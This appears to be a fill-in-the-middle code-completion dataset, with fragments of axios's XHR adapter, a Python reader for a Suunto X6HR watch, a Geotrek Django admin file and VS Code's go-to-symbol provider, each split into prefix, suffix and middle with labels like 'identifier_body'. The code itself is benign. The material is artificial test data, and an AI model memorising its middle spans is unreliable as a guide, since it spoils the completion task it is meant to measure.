}); // Add withCredentials to request if needed if (config.withCredentials) { request.withCredentials = true; } // Add responseType to request if needed if (config.responseType) { try { request.responseType = config.responseType; } catch (e) { if (request.responseType !== 'json') { throw e; } } } if (utils.isArrayBuffer(data)) { data = new DataView(data); } // Send the request request.send(data); };
{ request.setRequestHeader(key, val); }
conditional_block
xhr.js
'use strict'; /*global ActiveXObject:true*/ var defaults = require('./../defaults'); var utils = require('./../utils'); var buildUrl = require('./../helpers/buildUrl'); var cookies = require('./../helpers/cookies'); var parseHeaders = require('./../helpers/parseHeaders'); var transformData = require('./../helpers/transformData'); var urlIsSameOrigin = require('./../helpers/urlIsSameOrigin'); module.exports = function xhrAdapter(resolve, reject, config) { // Transform request data var data = transformData( config.data, config.headers, config.transformRequest ); // Merge headers var requestHeaders = utils.merge( defaults.headers.common, defaults.headers[config.method] || {}, config.headers || {} ); if (utils.isFormData(data)) { delete requestHeaders['Content-Type']; // Let the browser set it } // Create the request var request = new (XMLHttpRequest || ActiveXObject)('Microsoft.XMLHTTP'); request.open(config.method.toUpperCase(), buildUrl(config.url, config.params), true); // Set the request timeout in MS request.timeout = config.timeout; // Listen for ready state
var response = { data: transformData( responseData, responseHeaders, config.transformResponse ), status: request.status, statusText: request.statusText, headers: responseHeaders, config: config }; // Resolve or reject the Promise based on the status (request.status >= 200 && request.status < 300 ? resolve : reject)(response); // Clean up request request = null; } }; // Add xsrf header var xsrfValue = urlIsSameOrigin(config.url) ? cookies.read(config.xsrfCookieName || defaults.xsrfCookieName) : undefined; if (xsrfValue) { requestHeaders[config.xsrfHeaderName || defaults.xsrfHeaderName] = xsrfValue; } // Add headers to the request utils.forEach(requestHeaders, function (val, key) { // Remove Content-Type if data is undefined if (!data && key.toLowerCase() === 'content-type') { delete requestHeaders[key]; } // Otherwise add header to the request else { request.setRequestHeader(key, val); } }); // Add withCredentials to request if needed if (config.withCredentials) { request.withCredentials = true; } // Add responseType to request if needed if (config.responseType) { try { request.responseType = config.responseType; } catch (e) { if (request.responseType !== 'json') { throw e; } } } if (utils.isArrayBuffer(data)) { data = new DataView(data); } // Send the request request.send(data); };
request.onreadystatechange = function () { if (request && request.readyState === 4) { // Prepare the response var responseHeaders = parseHeaders(request.getAllResponseHeaders()); var responseData = ['text', ''].indexOf(config.responseType || '') !== -1 ? request.responseText : request.response;
random_line_split
x6hr.py
# 14: pression inHg(00) / hPa(01) # 15: temperature F(00) / C (01) # Referenced from http://wiki.terre-adelie.org/SuuntoX6HR units = {} units['tone'] = data[0] == 1 units['icon'] = data[1] == 1 units['light'] = ['Night', 'OFF', 'Normal'][data[2]] units['time'] = ['12h', '24h'][data[3]] units['date'] = ['MM.DD', 'DD.MM', 'Day'][data[4]] units['altitude'] = ['ft', 'm'][data[5]] units['ascsp'] = ['m/s', 'm/mn', 'm/h', 'ft/s', 'ft/mn', 'ft/h'][data[6]] units['pressure'] = ['inHg', 'hPa'][data[7]] units['temperature'] = ['F', 'C'][data[8]] return units def read_serial_number(self): #read serial number data = self.read_register(0x005d, 4) return (data[0] * 1000000) + (data[1] * 10000) + (data[2] * 100) + data[3] # Get list of "hiking" (logbook) logs def read_hiking_index(self): data = self.read_register(0x0fb4, 0x14) lut = [] for i in data: if i != 0: lut.append(i) return lut def read_hiking_log(self, index): p = self.read_register(0x0fc8 + (index - 1) * 128, 0x30) log = {} log['start'] = "20%02d/%d/%d %02d:%02d" % (p[1],p[2],p[3],p[4],p[5]) log['interval'] = p[6] log['hrdata'] = p[7] == 1 log['total ascent'] = p[8] * 256 + p[9] log['total descent'] = p[10] * 256 + p[11] log['laps'] = p[13] log['duration'] = "%02d:%02d:%02d.%d" % (p[14], p[15], p[16], p[17]) log['highest time'] = "%d/%d %02d:%02d" % (p[0x18],p[0x19],p[0x1a],p[0x1b]) log['highest point altitude'] = p[0x16] * 256 + p[0x17] log['lowest time'] = "%d/%d %02d:%02d" % (p[0x1e],p[0x1f],p[0x20],p[0x21]) log['lowest altitude'] = p[0x1c] * 256 + p[0x1d] log['HR min'] = p[34] log['HR max'] = p[35] log['HR average'] = p[36] log['HR limit high'] = p[37] log['HR limit low'] = p[38] log['HR over limit'] = p[39] * 256 + p[40] log['HR in limit'] = p[41] * 256 + p[42] log['HR under limit'] = p[43] * 256 + p[44] return log # idx 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, A, B, C, D, E, F, # hex 00, 0A, 03, 11, 0E, 10, 0A, 01, 00, 00, 00, 00, 00, 00, 00, 03, # dec 0, 10, 3, 17, 14, 16, 10, 1, 0, 0, 0, 0, 0, 0, 0, 3, # idx 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, # hex 31, 00, 00, 00, 00, 00, 00, D8, 03, 11, 0E, 10, 00, D8, 03, 11, # dec 49, 0, 0, 0, 0, 0, 0,216, 3, 17, 14, 16, 0,216, 3, 17, # idx 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 2A, 2B, 2C, 2D, 2E, 2F, # hex 0E, 10, 4B, 61, 58, E6, 1E, 00, 00, 00, 11, 00, 00, FF, FF, FF # dec 14, 16, 75, 97, 88,230, 30, 0, 0, 0, 17, 0, 0,255,255,255 ## Suunto X6HR. log data (captured by SAM which is SUUNTO production.) ## General ## Wristop model: X6HR. ## Wristop serial: 61303296 ## Log name: 心拍数のハイキング・ログ: ## Log type: HR Hiking ## Start : 2010/3/17 14:16 ## End : 2010/3/17 14:19 ## Duration: 00:03.5 ## Sample interval: 10 s ## Notes: ## Altitude ## High point: 216 m ## Time: 2010/3/17 14:16 ## Low point: 216 m ## Time: 2010/3/17 14:16 ## Total ascent 0 m ## Ascent time: 00:00.0 ## Average ascent: 0 m/min ## Total descent 0 m ## Descent time: 00:00.0 ## Average descent: 0 m/min ## Heart rate ## HR min: 75 ## HR max: 97 ## HR average: 88 ## HR limit high: 230 ## HR limit low: 30 ## Over high: 00:00.0 ## In limits: 00:02.5 ## Below low: 00:00.0 ## Samples ## Calendar time Log time Heart rate Altitude (m) Lap Note ## 2010/3/17 14:16 00:00.0 0 216 00:00.0
def read_chrono_index(self): data = self.read_register(0x19c9, 0x1e)
random_line_split
x6hr.py
, timeout=3) return self.x6hr def write_raw(self, bin): """ write raw binaly data bin : sequence of write data to suunto """ cmd = "".join(map(chr, bin)) self.x6hr.write(cmd) def write_cmd(self, bin): """ write data. before write data this function make packet format. bin : sequence of write data to suunto """ cmd2 = [0x05, 0x00, len(bin)] + bin c = 0 for i in cmd2[3:]: c = c ^ i cmd3 = cmd2 + [c] self.write_raw(cmd3) def read_raw(self, length): """ read raw data. this function will return raw packet binaly data. """ return map(ord, list(self.x6hr.read(length))) def read_register(self, addr, length): self.write_cmd([addr & 0xff, (addr >> 8) & 0xff, length]) data = self.read_raw(length + 7) ret = data[6:-1] return ret def read_units(self): data = self.read_register(0x64, 0x0b) # light night [1, 0, 2, 1, 0, 1, 2, 1, 1, 1, 107] # light off [1, 0, 1, 1, 0, 1, 2, 1, 1, 1, 107] # light normal [1, 0, 0, 1, 0, 1, 2, 1, 1, 1, 107] # tone on [1, 0, 1, 1, 0, 1, 2, 1, 1, 1, 107] # tone off [0, 0, 1, 1, 0, 1, 2, 1, 1, 1, 107] # time 24h [1, 0, 1, 1, 0, 1, 2, 1, 1, 1, 107] # time 12g [1, 0, 1, 0, 0, 1, 2, 1, 1, 1, 107] # icon on [1, 1, 2, 1, 0, 1, 2, 1, 1, 1, 107] # icon on [1, 0, 2, 1, 0, 1, 2, 1, 1, 1, 107] # I investigated above. (T.Kamata) # # 12: altitude ft(00) / m(01) # 13: ascentional speed m/s(00) / m/mn(01) / m/h(02) / ft/s(03) / ft/mn(04) / ft/h(05) # 14: pression inHg(00) / hPa(01) # 15: temperature F(00) / C (01) # Referenced from http://wiki.terre-adelie.org/SuuntoX6HR units = {} units['tone'] = data[0] == 1 units['icon'] = data[1] == 1 units['light'] = ['Night', 'OFF', 'Normal'][data[2]] units['time'] = ['12h', '24h'][data[3]] units['date'] = ['MM.DD', 'DD.MM', 'Day'][data[4]] units['altitude'] = ['ft', 'm'][data[5]] units['ascsp'] = ['m/s', 'm/mn', 'm/h', 'ft/s', 'ft/mn', 'ft/h'][data[6]] units['pressure'] = ['inHg', 'hPa'][data[7]] units['temperature'] = ['F', 'C'][data[8]] return units def read_serial_number(self): #read serial number
# Get list of "hiking" (logbook) logs def read_hiking_index(self): data = self.read_register(0x0fb4, 0x14) lut = [] for i in data: if i != 0: lut.append(i) return lut def read_hiking_log(self, index): p = self.read_register(0x0fc8 + (index - 1) * 128, 0x30) log = {} log['start'] = "20%02d/%d/%d %02d:%02d" % (p[1],p[2],p[3],p[4],p[5]) log['interval'] = p[6] log['hrdata'] = p[7] == 1 log['total ascent'] = p[8] * 256 + p[9] log['total descent'] = p[10] * 256 + p[11] log['laps'] = p[13] log['duration'] = "%02d:%02d:%02d.%d" % (p[14], p[15], p[16], p[17]) log['highest time'] = "%d/%d %02d:%02d" % (p[0x18],p[0x19],p[0x1a],p[0x1b]) log['highest point altitude'] = p[0x16] * 256 + p[0x17] log['lowest time'] = "%d/%d %02d:%02d" % (p[0x1e],p[0x1f],p[0x20],p[0x21]) log['lowest altitude'] = p[0x1c] * 256 + p[0x1d] log['HR min'] = p[34] log['HR max'] = p[35] log['HR average'] = p[36] log['HR limit high'] = p[37] log['HR limit low'] = p[38] log['HR over limit'] = p[39] * 256 + p[40] log['HR in limit'] = p[41] * 256 + p[42] log['HR under limit'] = p[43] * 256 + p[44] return log # idx 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, A, B, C, D, E, F, # hex 00, 0A, 03, 11, 0E, 10, 0A, 01, 00, 00, 00, 00, 00, 00, 00, 03, # dec 0, 10, 3, 17, 14, 16, 10, 1, 0, 0, 0, 0, 0, 0, 0, 3, # idx 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, # hex 31, 00, 00, 00, 00, 00, 00, D8, 03, 11, 0E, 10, 00, D8, 03, 11, # dec 49, 0, 0, 0, 0, 0, 0,216, 3, 17, 14, 16, 0,216, 3, 17, # idx 20, 2
data = self.read_register(0x005d, 4) return (data[0] * 1000000) + (data[1] * 10000) + (data[2] * 100) + data[3]
identifier_body
x6hr.py
return self.x6hr def write_raw(self, bin): """ write raw binaly data bin : sequence of write data to suunto """ cmd = "".join(map(chr, bin)) self.x6hr.write(cmd) def write_cmd(self, bin): """ write data. before write data this function make packet format. bin : sequence of write data to suunto """ cmd2 = [0x05, 0x00, len(bin)] + bin c = 0 for i in cmd2[3:]: c = c ^ i cmd3 = cmd2 + [c] self.write_raw(cmd3) def read_raw(self, length): """ read raw data. this function will return raw packet binaly data. """ return map(ord, list(self.x6hr.read(length))) def read_register(self, addr, length): self.write_cmd([addr & 0xff, (addr >> 8) & 0xff, length]) data = self.read_raw(length + 7) ret = data[6:-1] return ret def read_units(self): data = self.read_register(0x64, 0x0b) # light night [1, 0, 2, 1, 0, 1, 2, 1, 1, 1, 107] # light off [1, 0, 1, 1, 0, 1, 2, 1, 1, 1, 107] # light normal [1, 0, 0, 1, 0, 1, 2, 1, 1, 1, 107] # tone on [1, 0, 1, 1, 0, 1, 2, 1, 1, 1, 107] # tone off [0, 0, 1, 1, 0, 1, 2, 1, 1, 1, 107] # time 24h [1, 0, 1, 1, 0, 1, 2, 1, 1, 1, 107] # time 12g [1, 0, 1, 0, 0, 1, 2, 1, 1, 1, 107] # icon on [1, 1, 2, 1, 0, 1, 2, 1, 1, 1, 107] # icon on [1, 0, 2, 1, 0, 1, 2, 1, 1, 1, 107] # I investigated above. (T.Kamata) # # 12: altitude ft(00) / m(01) # 13: ascentional speed m/s(00) / m/mn(01) / m/h(02) / ft/s(03) / ft/mn(04) / ft/h(05) # 14: pression inHg(00) / hPa(01) # 15: temperature F(00) / C (01) # Referenced from http://wiki.terre-adelie.org/SuuntoX6HR units = {} units['tone'] = data[0] == 1 units['icon'] = data[1] == 1 units['light'] = ['Night', 'OFF', 'Normal'][data[2]] units['time'] = ['12h', '24h'][data[3]] units['date'] = ['MM.DD', 'DD.MM', 'Day'][data[4]] units['altitude'] = ['ft', 'm'][data[5]] units['ascsp'] = ['m/s', 'm/mn', 'm/h', 'ft/s', 'ft/mn', 'ft/h'][data[6]] units['pressure'] = ['inHg', 'hPa'][data[7]] units['temperature'] = ['F', 'C'][data[8]] return units def read_serial_number(self): #read serial number data = self.read_register(0x005d, 4) return (data[0] * 1000000) + (data[1] * 10000) + (data[2] * 100) + data[3] # Get list of "hiking" (logbook) logs def read_hiking_index(self): data = self.read_register(0x0fb4, 0x14) lut = [] for i in data: if i != 0: lut.append(i) return lut def read_hiking_log(self, index): p = self.read_register(0x0fc8 + (index - 1) * 128, 0x30) log = {} log['start'] = "20%02d/%d/%d %02d:%02d" % (p[1],p[2],p[3],p[4],p[5]) log['interval'] = p[6] log['hrdata'] = p[7] == 1 log['total ascent'] = p[8] * 256 + p[9] log['total descent'] = p[10] * 256 + p[11] log['laps'] = p[13] log['duration'] = "%02d:%02d:%02d.%d" % (p[14], p[15], p[16], p[17]) log['highest time'] = "%d/%d %02d:%02d" % (p[0x18],p[0x19],p[0x1a],p[0x1b]) log['highest point altitude'] = p[0x16] * 256 + p[0x17] log['lowest time'] = "%d/%d %02d:%02d" % (p[0x1e],p[0x1f],p[0x20],p[0x21]) log['lowest altitude'] = p[0x1c] * 256 + p[0x1d] log['HR min'] = p[34] log['HR max'] = p[35] log['HR average'] = p[36] log['HR limit high'] = p[37] log['HR limit low'] = p[38] log['HR over limit'] = p[39] * 256 + p[40] log['HR in limit'] = p[41] * 256 + p[42] log['HR under limit'] = p[43] * 256 + p[44] return log # idx 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, A, B, C, D, E, F, # hex 00, 0A, 03, 11, 0E, 10, 0A, 01, 00, 00, 00, 00, 00, 00, 00, 03, # dec 0, 10, 3, 17, 14, 16, 10, 1, 0, 0, 0, 0, 0, 0, 0, 3, # idx 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, # hex 31, 00, 00, 00, 00, 00, 00, D8, 03, 11, 0E, 10, 00, D8, 03, 11, # dec 49, 0, 0, 0, 0, 0, 0,216, 3, 17, 14, 16, 0,216, 3, 17,
self.x6hr = serial.Serial(port=serial_port, timeout=3)
conditional_block
x6hr.py
(self): self.x6hr = None def open(self, serial_port = "COM1"): """ open serial communication port serial_port : port name return : becomes None when Fail to open. """ if self.x6hr == None: self.x6hr = serial.Serial(port=serial_port, timeout=3) return self.x6hr def write_raw(self, bin): """ write raw binaly data bin : sequence of write data to suunto """ cmd = "".join(map(chr, bin)) self.x6hr.write(cmd) def write_cmd(self, bin): """ write data. before write data this function make packet format. bin : sequence of write data to suunto """ cmd2 = [0x05, 0x00, len(bin)] + bin c = 0 for i in cmd2[3:]: c = c ^ i cmd3 = cmd2 + [c] self.write_raw(cmd3) def read_raw(self, length): """ read raw data. this function will return raw packet binaly data. """ return map(ord, list(self.x6hr.read(length))) def read_register(self, addr, length): self.write_cmd([addr & 0xff, (addr >> 8) & 0xff, length]) data = self.read_raw(length + 7) ret = data[6:-1] return ret def read_units(self): data = self.read_register(0x64, 0x0b) # light night [1, 0, 2, 1, 0, 1, 2, 1, 1, 1, 107] # light off [1, 0, 1, 1, 0, 1, 2, 1, 1, 1, 107] # light normal [1, 0, 0, 1, 0, 1, 2, 1, 1, 1, 107] # tone on [1, 0, 1, 1, 0, 1, 2, 1, 1, 1, 107] # tone off [0, 0, 1, 1, 0, 1, 2, 1, 1, 1, 107] # time 24h [1, 0, 1, 1, 0, 1, 2, 1, 1, 1, 107] # time 12g [1, 0, 1, 0, 0, 1, 2, 1, 1, 1, 107] # icon on [1, 1, 2, 1, 0, 1, 2, 1, 1, 1, 107] # icon on [1, 0, 2, 1, 0, 1, 2, 1, 1, 1, 107] # I investigated above. (T.Kamata) # # 12: altitude ft(00) / m(01) # 13: ascentional speed m/s(00) / m/mn(01) / m/h(02) / ft/s(03) / ft/mn(04) / ft/h(05) # 14: pression inHg(00) / hPa(01) # 15: temperature F(00) / C (01) # Referenced from http://wiki.terre-adelie.org/SuuntoX6HR units = {} units['tone'] = data[0] == 1 units['icon'] = data[1] == 1 units['light'] = ['Night', 'OFF', 'Normal'][data[2]] units['time'] = ['12h', '24h'][data[3]] units['date'] = ['MM.DD', 'DD.MM', 'Day'][data[4]] units['altitude'] = ['ft', 'm'][data[5]] units['ascsp'] = ['m/s', 'm/mn', 'm/h', 'ft/s', 'ft/mn', 'ft/h'][data[6]] units['pressure'] = ['inHg', 'hPa'][data[7]] units['temperature'] = ['F', 'C'][data[8]] return units def read_serial_number(self): #read serial number data = self.read_register(0x005d, 4) return (data[0] * 1000000) + (data[1] * 10000) + (data[2] * 100) + data[3] # Get list of "hiking" (logbook) logs def read_hiking_index(self): data = self.read_register(0x0fb4, 0x14) lut = [] for i in data: if i != 0: lut.append(i) return lut def read_hiking_log(self, index): p = self.read_register(0x0fc8 + (index - 1) * 128, 0x30) log = {} log['start'] = "20%02d/%d/%d %02d:%02d" % (p[1],p[2],p[3],p[4],p[5]) log['interval'] = p[6] log['hrdata'] = p[7] == 1 log['total ascent'] = p[8] * 256 + p[9] log['total descent'] = p[10] * 256 + p[11] log['laps'] = p[13] log['duration'] = "%02d:%02d:%02d.%d" % (p[14], p[15], p[16], p[17]) log['highest time'] = "%d/%d %02d:%02d" % (p[0x18],p[0x19],p[0x1a],p[0x1b]) log['highest point altitude'] = p[0x16] * 256 + p[0x17] log['lowest time'] = "%d/%d %02d:%02d" % (p[0x1e],p[0x1f],p[0x20],p[0x21]) log['lowest altitude'] = p[0x1c] * 256 + p[0x1d] log['HR min'] = p[34] log['HR max'] = p[35] log['HR average'] = p[36] log['HR limit high'] = p[37] log['HR limit low'] = p[38] log['HR over limit'] = p[39] * 256 + p[40] log['HR in limit'] = p[41] * 256 + p[42] log['HR under limit'] = p[43] * 256 + p[44] return log # idx 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, A, B, C, D, E, F, # hex 00, 0A, 03, 11, 0E, 10, 0A, 01, 00, 00, 00, 00, 00, 00, 00, 03, # dec 0, 10, 3, 17, 14, 16, 10, 1, 0, 0, 0, 0, 0, 0, 0, 3, # idx 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, # hex 31, 00, 00, 00, 00, 00, 00, D8, 03, 11, 0E, 10, 00, D8, 03, 11, # dec 49
__init__
identifier_name
admin.py
from django.contrib import admin from geotrek.core.models import (PathSource, Stake, Usage, Network, Comfort) class PathSourceAdmin(admin.ModelAdmin): list_display = ('source', 'structure') search_fields = ('source', 'structure') list_filter = ('structure',) class StakeAdmin(admin.ModelAdmin): list_display = ('stake', 'structure') search_fields = ('stake', 'structure') list_filter = ('structure',) class UsageAdmin(admin.ModelAdmin): list_display = ('usage', 'structure') search_fields = ('usage', 'structure') list_filter = ('structure',) class
(admin.ModelAdmin): list_display = ('network', 'structure') search_fields = ('network', 'structure') list_filter = ('structure',) class ComfortAdmin(admin.ModelAdmin): list_display = ('comfort', 'structure') search_fields = ('comfort', 'structure') list_filter = ('structure',) admin.site.register(PathSource, PathSourceAdmin) admin.site.register(Stake, StakeAdmin) admin.site.register(Usage, UsageAdmin) admin.site.register(Network, NetworkAdmin) admin.site.register(Comfort, ComfortAdmin)
NetworkAdmin
identifier_name
admin.py
from django.contrib import admin from geotrek.core.models import (PathSource, Stake, Usage, Network, Comfort) class PathSourceAdmin(admin.ModelAdmin): list_display = ('source', 'structure') search_fields = ('source', 'structure') list_filter = ('structure',) class StakeAdmin(admin.ModelAdmin): list_display = ('stake', 'structure') search_fields = ('stake', 'structure') list_filter = ('structure',) class UsageAdmin(admin.ModelAdmin):
class NetworkAdmin(admin.ModelAdmin): list_display = ('network', 'structure') search_fields = ('network', 'structure') list_filter = ('structure',) class ComfortAdmin(admin.ModelAdmin): list_display = ('comfort', 'structure') search_fields = ('comfort', 'structure') list_filter = ('structure',) admin.site.register(PathSource, PathSourceAdmin) admin.site.register(Stake, StakeAdmin) admin.site.register(Usage, UsageAdmin) admin.site.register(Network, NetworkAdmin) admin.site.register(Comfort, ComfortAdmin)
list_display = ('usage', 'structure') search_fields = ('usage', 'structure') list_filter = ('structure',)
identifier_body
admin.py
from django.contrib import admin from geotrek.core.models import (PathSource, Stake, Usage, Network, Comfort) class PathSourceAdmin(admin.ModelAdmin): list_display = ('source', 'structure') search_fields = ('source', 'structure') list_filter = ('structure',) class StakeAdmin(admin.ModelAdmin):
class UsageAdmin(admin.ModelAdmin): list_display = ('usage', 'structure') search_fields = ('usage', 'structure') list_filter = ('structure',) class NetworkAdmin(admin.ModelAdmin): list_display = ('network', 'structure') search_fields = ('network', 'structure') list_filter = ('structure',) class ComfortAdmin(admin.ModelAdmin): list_display = ('comfort', 'structure') search_fields = ('comfort', 'structure') list_filter = ('structure',) admin.site.register(PathSource, PathSourceAdmin) admin.site.register(Stake, StakeAdmin) admin.site.register(Usage, UsageAdmin) admin.site.register(Network, NetworkAdmin) admin.site.register(Comfort, ComfortAdmin)
list_display = ('stake', 'structure') search_fields = ('stake', 'structure') list_filter = ('structure',)
random_line_split
gotoSymbolQuickAccess.ts
protected provideWithoutTextEditor(picker: IQuickPick<IGotoSymbolQuickPickItem>): IDisposable { this.provideLabelPick(picker, localize('cannotRunGotoSymbolWithoutEditor', "To go to a symbol, first open a text editor with symbol information.")); return Disposable.None; } protected provideWithTextEditor(editor: IEditor, picker: IQuickPick<IGotoSymbolQuickPickItem>, token: CancellationToken): IDisposable { const model = this.getModel(editor); if (!model) { return Disposable.None; } // Provide symbols from model if available in registry if (DocumentSymbolProviderRegistry.has(model)) { return this.doProvideWithEditorSymbols(editor, model, picker, token); } // Otherwise show an entry for a model without registry // But give a chance to resolve the symbols at a later // point if possible return this.doProvideWithoutEditorSymbols(editor, model, picker, token); } private doProvideWithoutEditorSymbols(editor: IEditor, model: ITextModel, picker: IQuickPick<IGotoSymbolQuickPickItem>, token: CancellationToken): IDisposable { const disposables = new DisposableStore(); // Generic pick for not having any symbol information this.provideLabelPick(picker, localize('cannotRunGotoSymbolWithoutSymbolProvider', "The active text editor does not provide symbol information.")); // Wait for changes to the registry and see if eventually // we do get symbols. This can happen if the picker is opened // very early after the model has loaded but before the // language registry is ready. // https://github.com/microsoft/vscode/issues/70607 (async () => { const result = await this.waitForLanguageSymbolRegistry(model, disposables); if (!result || token.isCancellationRequested) { return; } disposables.add(this.doProvideWithEditorSymbols(editor, model, picker, token)); })(); return disposables; } private provideLabelPick(picker: IQuickPick<IGotoSymbolQuickPickItem>, label: string): void { picker.items = [{ label, index: 0, kind: SymbolKind.String }]; picker.ariaLabel = label; } protected async waitForLanguageSymbolRegistry(model: ITextModel, disposables: DisposableStore): Promise<boolean> { if (DocumentSymbolProviderRegistry.has(model)) { return true; } let symbolProviderRegistryPromiseResolve: (res: boolean) => void; const symbolProviderRegistryPromise = new Promise<boolean>(resolve => symbolProviderRegistryPromiseResolve = resolve); // Resolve promise when registry knows model const symbolProviderListener = disposables.add(DocumentSymbolProviderRegistry.onDidChange(() => { if (DocumentSymbolProviderRegistry.has(model)) { symbolProviderListener.dispose(); symbolProviderRegistryPromiseResolve(true); } })); // Resolve promise when we get disposed too disposables.add(toDisposable(() => symbolProviderRegistryPromiseResolve(false))); return symbolProviderRegistryPromise; } private doProvideWithEditorSymbols(editor: IEditor, model: ITextModel, picker: IQuickPick<IGotoSymbolQuickPickItem>, token: CancellationToken): IDisposable { const disposables = new DisposableStore(); // Goto symbol once picked disposables.add(picker.onDidAccept(event => { const [item] = picker.selectedItems; if (item && item.range) { this.gotoLocation(editor, { range: item.range.selection, keyMods: picker.keyMods, preserveFocus: event.inBackground }); if (!event.inBackground) { picker.hide(); } } })); // Goto symbol side by side if enabled disposables.add(picker.onDidTriggerItemButton(({ item }) => { if (item && item.range) { this.gotoLocation(editor, { range: item.range.selection, keyMods: picker.keyMods, forceSideBySide: true }); picker.hide(); } })); // Resolve symbols from document once and reuse this // request for all filtering and typing then on const symbolsPromise = this.getDocumentSymbols(model, true, token); // Set initial picks and update on type let picksCts: CancellationTokenSource | undefined = undefined; const updatePickerItems = async () => { // Cancel any previous ask for picks and busy picksCts?.dispose(true); picker.busy = false; // Create new cancellation source for this run picksCts = new CancellationTokenSource(token); // Collect symbol picks picker.busy = true; try { const query = prepareQuery(picker.value.substr(AbstractGotoSymbolQuickAccessProvider.PREFIX.length).trim()); const items = await this.doGetSymbolPicks(symbolsPromise, query, undefined, picksCts.token); if (token.isCancellationRequested) { return; } if (items.length > 0) { picker.items = items; } else { if (query.original.length > 0) { this.provideLabelPick(picker, localize('noMatchingSymbolResults', "No matching editor symbols")); } else { this.provideLabelPick(picker, localize('noSymbolResults', "No editor symbols")); } } } finally { if (!token.isCancellationRequested) { picker.busy = false; } } }; disposables.add(picker.onDidChangeValue(() => updatePickerItems())); updatePickerItems(); // Reveal and decorate when active item changes // However, ignore the very first event so that // opening the picker is not immediately revealing // and decorating the first entry. let ignoreFirstActiveEvent = true; disposables.add(picker.onDidChangeActive(() => { const [item] = picker.activeItems; if (item && item.range) { if (ignoreFirstActiveEvent) { ignoreFirstActiveEvent = false; return; } // Reveal editor.revealRangeInCenter(item.range.selection, ScrollType.Smooth); // Decorate this.addDecorations(editor, item.range.decoration); } })); return disposables; } protected async doGetSymbolPicks(symbolsPromise: Promise<DocumentSymbol[]>, query: IPreparedQuery, options: { extraContainerLabel?: string } | undefined, token: CancellationToken): Promise<Array<IGotoSymbolQuickPickItem | IQuickPickSeparator>> { const symbols = await symbolsPromise; if (token.isCancellationRequested) { return []; } const filterBySymbolKind = query.original.indexOf(AbstractGotoSymbolQuickAccessProvider.SCOPE_PREFIX) === 0; const filterPos = filterBySymbolKind ? 1 : 0; // Split between symbol and container query let symbolQuery: IPreparedQuery; let containerQuery: IPreparedQuery | undefined; if (query.values && query.values.length > 1) { symbolQuery = pieceToQuery(query.values[0]); // symbol: only match on first part containerQuery = pieceToQuery(query.values.slice(1)); // container: match on all but first parts } else { symbolQuery = query; } // Convert to symbol picks and apply filtering const filteredSymbolPicks: IGotoSymbolQuickPickItem[] = []; for (let index = 0; index < symbols.length; index++) { const symbol = symbols[index]; const symbolLabel = trim(symbol.name); const symbolLabelWithIcon = `$(symbol-${SymbolKinds.toString(symbol.kind) || 'property'}) ${symbolLabel}`; const symbolLabelIconOffset = symbolLabelWithIcon.length - symbolLabel.length; let containerLabel = symbol.containerName; if (options?.extraContainerLabel) { if (containerLabel) { containerLabel = `${options.extraContainerLabel} • ${containerLabel}`; } else { containerLabel = options.extraContainerLabel; } } let symbolScore: number | undefined = undefined; let symbolMatches: IMatch[] | undefined = undefined; let containerScore: number | undefined = undefined; let containerMatches: IMatch[] | undefined = undefined; if (query.original.length > filterPos) { // First: try to score on the entire query, it is possible that // the symbol matches perfectly (e.g. searching for "change log" // can be a match on a markdown symbol "change log"). In that // case we want to skip the container query altogether. let skipContainerQuery = false; if (symbolQuery !== query) { [symbolScore, symbolMatches] = scoreFuzzy2(symbolLabelWithIcon, { ...query, values: undefined /* disable multi-query support */ }, filterPos, symbolLabelIconOffset); if (typeof symbolScore === 'number') { skipContainerQuery = true; // since we consumed the query, skip any container matching } } // Otherwise: score on the symbol query and match on the container later if (typeof symbolScore !== 'number') { [symbolScore, symbolMatches] = scoreFuzzy2(symbolLabelWithIcon
{ super(options); options.canAcceptInBackground = true; }
identifier_body
gotoSymbolQuickAccess.ts
ables = new DisposableStore(); // Generic pick for not having any symbol information this.provideLabelPick(picker, localize('cannotRunGotoSymbolWithoutSymbolProvider', "The active text editor does not provide symbol information.")); // Wait for changes to the registry and see if eventually // we do get symbols. This can happen if the picker is opened // very early after the model has loaded but before the // language registry is ready. // https://github.com/microsoft/vscode/issues/70607 (async () => { const result = await this.waitForLanguageSymbolRegistry(model, disposables); if (!result || token.isCancellationRequested) { return; } disposables.add(this.doProvideWithEditorSymbols(editor, model, picker, token)); })(); return disposables; } private provideLabelPick(picker: IQuickPick<IGotoSymbolQuickPickItem>, label: string): void { picker.items = [{ label, index: 0, kind: SymbolKind.String }]; picker.ariaLabel = label; } protected async waitForLanguageSymbolRegistry(model: ITextModel, disposables: DisposableStore): Promise<boolean> { if (DocumentSymbolProviderRegistry.has(model)) { return true; } let symbolProviderRegistryPromiseResolve: (res: boolean) => void; const symbolProviderRegistryPromise = new Promise<boolean>(resolve => symbolProviderRegistryPromiseResolve = resolve); // Resolve promise when registry knows model const symbolProviderListener = disposables.add(DocumentSymbolProviderRegistry.onDidChange(() => { if (DocumentSymbolProviderRegistry.has(model)) { symbolProviderListener.dispose(); symbolProviderRegistryPromiseResolve(true); } })); // Resolve promise when we get disposed too disposables.add(toDisposable(() => symbolProviderRegistryPromiseResolve(false))); return symbolProviderRegistryPromise; } private doProvideWithEditorSymbols(editor: IEditor, model: ITextModel, picker: IQuickPick<IGotoSymbolQuickPickItem>, token: CancellationToken): IDisposable { const disposables = new DisposableStore(); // Goto symbol once picked disposables.add(picker.onDidAccept(event => { const [item] = picker.selectedItems; if (item && item.range) { this.gotoLocation(editor, { range: item.range.selection, keyMods: picker.keyMods, preserveFocus: event.inBackground }); if (!event.inBackground) { picker.hide(); } } })); // Goto symbol side by side if enabled disposables.add(picker.onDidTriggerItemButton(({ item }) => { if (item && item.range) { this.gotoLocation(editor, { range: item.range.selection, keyMods: picker.keyMods, forceSideBySide: true }); picker.hide(); } })); // Resolve symbols from document once and reuse this // request for all filtering and typing then on const symbolsPromise = this.getDocumentSymbols(model, true, token); // Set initial picks and update on type let 